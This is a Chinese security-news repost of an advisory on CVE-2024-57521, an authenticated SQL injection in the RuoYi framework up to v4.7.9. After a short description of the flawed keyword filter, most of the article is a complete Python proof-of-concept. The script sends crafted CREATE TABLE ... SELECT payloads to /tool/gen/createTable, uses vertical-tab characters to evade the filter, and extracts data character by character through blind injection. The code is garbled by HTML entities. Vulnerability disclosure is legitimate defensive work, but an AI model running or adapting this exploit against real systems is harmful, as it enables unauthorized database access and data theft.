2026-01-04 01:49:56 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文披露了RuoYi框架v4.7.9及以下版本存在的SQL注入漏洞CVE-2024-57521。漏洞源于createTable功能中filterKeyword方法正则过滤不完善，导致认证用户可绕过防护构造恶意SQL。文章提供了PythonPOC脚本，利用/tool/gen/createTable接口进行布尔盲注获取数据。建议相关用户尽快升级至安全版本或修复过滤逻辑。 综合评分： 90 文章分类： 漏洞分析,漏洞POC,WEB安全,漏洞预警

cover_image

CVE-2024-57521｜RuoYi v4.7.9认证用户SQL注入漏洞（POC）

alicy

信安百科

2026年1月2日 09:35 河北

0x00 前言

RuoYi是一个Java EE企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告、代码生成等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。#

0x01 漏洞描述

漏洞出现在框架的createTable功能中，攻击者利用SQL参数发送特制请求，从而触发注入。

漏洞的根本原因在于SQL注入过滤机制不完善，filterKeyword方法中的正则表达式未能有效拦截特定的字符，导致攻击者能够绕过SQL注入过滤，构造恶意的SQL查询。

0x02 CVE编号

CVE-2024-57521

0x03 影响版本

RuoYi <= v4.7.9

0x04 漏洞详情

POC：

https://github.com/mrlihd/CVE-2024-57521-SQL-Injection-PoC/blob/main/ruoyi-sqli-poc.py

import&nbsp;requestsimport&nbsp;argparseimport&nbsp;randomfrom&nbsp;concurrent.futures&nbsp;import&nbsp;ThreadPoolExecutorfrom&nbsp;string&nbsp;import&nbsp;printable, ascii_lowercase, digitsfrom&nbsp;urllib3&nbsp;import&nbsp;disable_warningsdisable_warnings()

PROXY_ENABLED =&nbsp;TruePROXY = {&nbsp; &nbsp;&nbsp;'http':&nbsp;'http://127.0.0.1:8080',&nbsp; &nbsp;&nbsp;'https':&nbsp;'http://127.0.0.1:8080'}&nbsp;if&nbsp;PROXY_ENABLED&nbsp;else&nbsp;{}CHARSET = printable
def&nbsp;send_request(payload):&nbsp; &nbsp;&nbsp;global&nbsp;counter&nbsp; &nbsp; cookies = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'JSESSIONID': cookie,&nbsp; &nbsp; }&nbsp; &nbsp; headers = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Content-Type':&nbsp;'application/x-www-form-urlencoded'&nbsp; &nbsp; }&nbsp; &nbsp; data =&nbsp;f"sql={payload}"&nbsp; &nbsp; resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY)&nbsp; &nbsp; counter +=&nbsp;1&nbsp; &nbsp;&nbsp;if&nbsp;"操作成功"&nbsp;in&nbsp;resp.text:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp;&nbsp;return&nbsp;False
def&nbsp;get_length_payload(value):&nbsp; &nbsp; tablename =&nbsp;f"{random_string}_{counter}"&nbsp; &nbsp; payload =&nbsp;f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b"&nbsp; &nbsp;&nbsp;return&nbsp;payload
def&nbsp;get_length():&nbsp; &nbsp;&nbsp;for&nbsp;length&nbsp;in&nbsp;range(100):&nbsp; &nbsp; &nbsp; &nbsp; payload = get_length_payload(length)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;send_request(payload=payload):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f'Data has&nbsp;{length}&nbsp;characters')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;length&nbsp; &nbsp;&nbsp;return&nbsp;0
def&nbsp;get_payload(location, value:int):&nbsp; &nbsp; tablename =&nbsp;f"{random_string}_{counter}"&nbsp; &nbsp; payload =&nbsp;f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"&nbsp; &nbsp;&nbsp;return&nbsp;payload
def&nbsp;get_char(location):&nbsp; &nbsp;&nbsp;for&nbsp;char&nbsp;in&nbsp;CHARSET:&nbsp; &nbsp; &nbsp; &nbsp; payload = get_payload(location=location, value=ord(char))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;send_request(payload=payload):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f'Found character&nbsp;{char}&nbsp;at location&nbsp;{location}')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;char&nbsp; &nbsp;&nbsp;return&nbsp;'None'
def&nbsp;get_data():&nbsp; &nbsp; length = get_length()&nbsp; &nbsp;&nbsp;with&nbsp;ThreadPoolExecutor(max_workers=20)&nbsp;as&nbsp;tpe:&nbsp; &nbsp; &nbsp; &nbsp; res_iter = tpe.map(get_char,&nbsp;range(1, length+1))&nbsp; &nbsp;&nbsp;return&nbsp;''.join(res_iter)
def&nbsp;init():&nbsp; &nbsp; parser = argparse.ArgumentParser(description='SQLi PoC')&nbsp; &nbsp; parser.add_argument('-u','--url',help='Target url', required=True,&nbsp;type=str)&nbsp; &nbsp; parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True,&nbsp;type=str)&nbsp; &nbsp;&nbsp;return&nbsp;parser.parse_args()
if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; args = init()&nbsp; &nbsp; url = args.url&nbsp; &nbsp; cookie = args.cookie&nbsp; &nbsp; counter =&nbsp;0&nbsp; &nbsp; random_string =&nbsp;''.join(random.choices(ascii_lowercase + digits, k=6))&nbsp; &nbsp;&nbsp;print('Data: ', get_data())

0x05 参考链接

https://www.ruoyi.vip/